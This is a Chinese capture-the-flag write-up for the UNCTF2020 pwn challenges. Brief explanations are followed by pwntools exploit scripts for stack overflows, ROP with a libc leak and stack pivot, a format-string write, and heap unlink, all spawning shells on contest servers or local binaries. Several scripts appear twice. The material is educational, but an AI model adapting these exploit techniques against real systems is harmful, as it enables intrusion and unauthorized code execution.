-
-
[原创]UNCTF2020 pwn部分题解
-
发表于: 2020-11-18 17:50 7312
-
pwntools连上打印即可
栈溢出+给了后门:
栈溢出,给了system和binsh
格式化字符串漏洞,偏移为10:
栈溢出,但只能溢出很少长度,考虑栈迁移到bss段,首先布置参数到bss,第一次可以修改rpb为bss段地址,之后返回到main函数的read之前
就可以往bss段写入0x70了,布置参数最后转移到bss进行rop leak libc,最后调用system(执行到do_system后出现了点问题,改为one_gadget)
ida静态分析,正常菜单题
不知道这个是干什么,可以leak stdin吗?
add时长度加了1
edit就可以off-by-one了
show功能是假的:
给了后门:
直接unlinkg改free为shell就行
首先逆向分析一波:一堆随机抽卡的东西,关键在于
存在溢出并给了system地址
但是最后close(1)关闭了stdout无法leak了,而且溢出长度也不够一次长的rop,需要栈迁移获取shell
栈迁移跟keer's bug一样,通过只覆盖ebp的值然后ret填上main中的read来布置参数(跟以前做的布置好参数再leave ret不太一样)
调试时执行system之后会调试不了父进程,需要命令:
这题调试了很久,主要是两个地方:
第一个最后停在了do_system函数里,rop前面加了ret也不行
最后经过Niebelungen师傅的提醒,原来是最后两次不能用sendline,应该改为send(最后多出了0xa,可能会有影响)
第二个是迁移的地址,刚开始就是bss首地址,结果一直不行,最后加了一点偏移之后就可以了
之后获取shell之后重定向即可
(题目链接:https://unctf.hackingfor.fun/)
# -*- coding: utf-8 -*-
from
pwn
import
*
context.log_level
=
'debug'
p
=
remote(
'node2.hackingfor.fun'
,
34808
)
payload
=
'a'
*
(
0x30
+
8
)
+
p64(
0x400735
)
p.sendline(payload)
# -*- coding: utf-8 -*-
from
pwn
import
*
context.log_level
=
'debug'
p
=
remote(
'node2.hackingfor.fun'
,
34808
)
payload
=
'a'
*
(
0x30
+
8
)
+
p64(
0x400735
)
p.sendline(payload)
# -*- coding: utf-8 -*-
from
pwn
import
*
context.log_level
=
'debug'
p
=
remote(
'node2.hackingfor.fun'
,
37305
)
binsh
=
0x00000000004007E4
system
=
0x400590
pop
=
0x00000000004007c3
#pop rdi ; ret
payload
=
'a'
*
0x18
+
p64(pop)
+
p64(binsh)
+
p64(system)
p.sendline(payload)
# -*- coding: utf-8 -*-
from
pwn
import
*
context.log_level
=
'debug'
p
=
remote(
'node2.hackingfor.fun'
,
37305
)
binsh
=
0x00000000004007E4
system
=
0x400590
pop
=
0x00000000004007c3
#pop rdi ; ret
payload
=
'a'
*
0x18
+
p64(pop)
+
p64(binsh)
+
p64(system)
p.sendline(payload)
# -*- coding: utf-8 -*-
from
pwn
import
*
context.log_level
=
'debug'
p
=
remote(
'node2.hackingfor.fun'
,
31841
)
# gdb.attach(p,'b *0x4007BA')
target
=
0x60107C
payload
=
'aaa%11$n'
+
p64(target)
p.sendline(payload)
# -*- coding: utf-8 -*-
from
pwn
import
*
context.log_level
=
'debug'
p
=
remote(
'node2.hackingfor.fun'
,
31841
)
# gdb.attach(p,'b *0x4007BA')
target
=
0x60107C
payload
=
'aaa%11$n'
+
p64(target)
p.sendline(payload)
from
pwn
import
*
from
LibcSearcher
import
*
context.log_level
=
'debug'
my_u64
=
lambda
x: u64(x.ljust(
8
,
'\0'
))
#p = remote('node2.hackingfor.fun',38187)
p
=
process(
'./keer'
)
elf
=
ELF(
'./keer'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
write_got
=
elf.got[
'write'
]
write_plt
=
elf.sym[
'write'
]
main_addr
=
elf.symbols[
'main'
]
leave
=
0x08048408
#leave ; ret
bss
=
elf.bss()
pop
=
0x0000000000400673
#op rdi ; ret
pop2
=
0x0000000000400671
# pop rsi ; pop r15 ; ret
ret
=
0x0000000000400451
# ret
leave_ret
=
0x40060D
offset
=
88
# gdb.attach(p)
p.recvuntil(
'keer'
)
payload
=
'a'
*
(offset
-
8
)
+
p64(bss)
+
p64(
0x04005ED
)
#0x04005ED为main中read函数地址
p.sendline(payload)
sleep(
0.5
)
payload
=
p64(pop)
+
p64(
1
)
+
p64(pop2)
+
p64(write_got)
+
p64(
0
)
+
p64(write_plt)
#leak libc
payload
+
=
p64(main_addr)
+
p64(
0
)
+
p64(
0
)
+
p64(
0
)
+
p64(bss
-
0x58
)
+
p64(leave_ret)
#返回到main
#bss-0x58是0x50+0x8(pop ebp)
# pause()
p.send(payload)
p.recv(
8
)
#有点垃圾数据
write
=
my_u64(p.recv(
6
))
success(
"write addr:"
+
hex
(write))
libc_base
=
write
-
libc.sym[
'write'
]
# system=libc_base+libc.sym['system']
# binsh=libc_base+next(libc.search('/bin/sh'))
# libc=LibcSearcher('write',write)
# libc_base=write-libc.dump('write')
# system=libc.dump('system')+libc_base
# binsh=libc.dump('str_bin_sh')+libc_base
# success('system address: '+hex(system))
# success('binsh address: '+hex(binsh))
# gdb.attach(p)
# pause()
# payload='a'*offset+p64(pop)+p64(binsh)+p64(system)
payload
=
'a'
*
offset
+
p64(libc_base
+
0xf1207
)
#0x4527a 0xf1207 0xf0364 0x45226
p.sendline(payload)
p.interactive()
from
pwn
import
*
from
LibcSearcher
import
*
context.log_level
=
'debug'
my_u64
=
lambda
x: u64(x.ljust(
8
,
'\0'
))
#p = remote('node2.hackingfor.fun',38187)
p
=
process(
'./keer'
)
elf
=
ELF(
'./keer'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
write_got
=
elf.got[
'write'
]
write_plt
=
elf.sym[
'write'
]
main_addr
=
elf.symbols[
'main'
]
leave
=
0x08048408
#leave ; ret
bss
=
elf.bss()
pop
=
0x0000000000400673
#op rdi ; ret
pop2
=
0x0000000000400671
# pop rsi ; pop r15 ; ret
ret
=
0x0000000000400451
# ret
leave_ret
=
0x40060D
offset
=
88
# gdb.attach(p)
p.recvuntil(
'keer'
)
payload
=
'a'
*
(offset
-
8
)
+
p64(bss)
+
p64(
0x04005ED
)
#0x04005ED为main中read函数地址
p.sendline(payload)
sleep(
0.5
)
payload
=
p64(pop)
+
p64(
1
)
+
p64(pop2)
+
p64(write_got)
+
p64(
0
)
+
p64(write_plt)
#leak libc
payload
+
=
p64(main_addr)
+
p64(
0
)
+
p64(
0
)
+
p64(
0
)
+
p64(bss
-
0x58
)
+
p64(leave_ret)
#返回到main
#bss-0x58是0x50+0x8(pop ebp)
# pause()
p.send(payload)
p.recv(
8
)
#有点垃圾数据
write
=
my_u64(p.recv(
6
))
success(
"write addr:"
+
hex
(write))
libc_base
=
write
-
libc.sym[
'write'
]
# system=libc_base+libc.sym['system']
# binsh=libc_base+next(libc.search('/bin/sh'))
# libc=LibcSearcher('write',write)
# libc_base=write-libc.dump('write')
# system=libc.dump('system')+libc_base
# binsh=libc.dump('str_bin_sh')+libc_base
# success('system address: '+hex(system))
# success('binsh address: '+hex(binsh))
# gdb.attach(p)
# pause()
# payload='a'*offset+p64(pop)+p64(binsh)+p64(system)
payload
=
'a'
*
offset
+
p64(libc_base
+
0xf1207
)
#0x4527a 0xf1207 0xf0364 0x45226
p.sendline(payload)
p.interactive()
from
pwn
import
*
context.log_level
=
'debug'
# p=remote('node2.hackingfor.fun',35659)
p
=
process(
'./pwn'
)
elf
=
ELF(
'./pwn'
)
def
launch_gdb():
context.terminal
=
[
'gnome-terminal'
,
'-x'
,
'sh'
,
'-c'
]
gdb.attach(proc.pidof(p)[
0
])
def
new(s,c):
p.recvuntil(
'>>'
)
p.sendline(
'1'
)
p.recvuntil(
'size?'
)
p.sendline(
str
(s))
p.recvuntil(
'content?'
)
p.send(c)
def
delete(i):
p.recvuntil(
'>>'
)
p.sendline(
'2'
)
p.recvuntil(
'index ?'
)
p.sendline(
str
(i))
def
show(i):
p.recvuntil(
'>>'
)
p.sendline(
'3'
)
p.recvuntil(
'index ?'
)
p.sendline(
str
(i))
def
edit(i,s):
p.recvuntil(
'>'
)
p.sendline(
'4'
)
p.recvuntil(
'index ?'
)
p.sendline(
str
(i))
p.recvuntil(
'content ?'
)
p.send(s)
# launch_gdb()
shell
=
0x040097F
data_addr
=
0x602160
free
=
elf.got[
'free'
]
new(
0x108
,
'aaa'
)
#size=0x110
new(
0xf0
,
'bbb'
)
#size=0x100
new(
0x100
,
'/bin/sh\x00'
)
payload
=
p64(
0
)
+
p64(
0x101
)
+
p64(data_addr
-
0x18
)
+
p64(data_addr
-
0x10
)
payload
=
payload.ljust(
0x100
,
'a'
)
+
p64(
0x100
)
+
p8(
0
)
edit(
0
,payload)
delete(
1
)
payload
=
p64(
0
)
*
3
+
p64(free)
edit(
0
,payload)
success(
'free:'
+
hex
(free))
edit(
0
,p64(shell))
delete(
0
)
p.interactive()
from
pwn
import
*
context.log_level
=
'debug'
# p=remote('node2.hackingfor.fun',35659)
p
=
process(
'./pwn'
)
elf
=
ELF(
'./pwn'
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!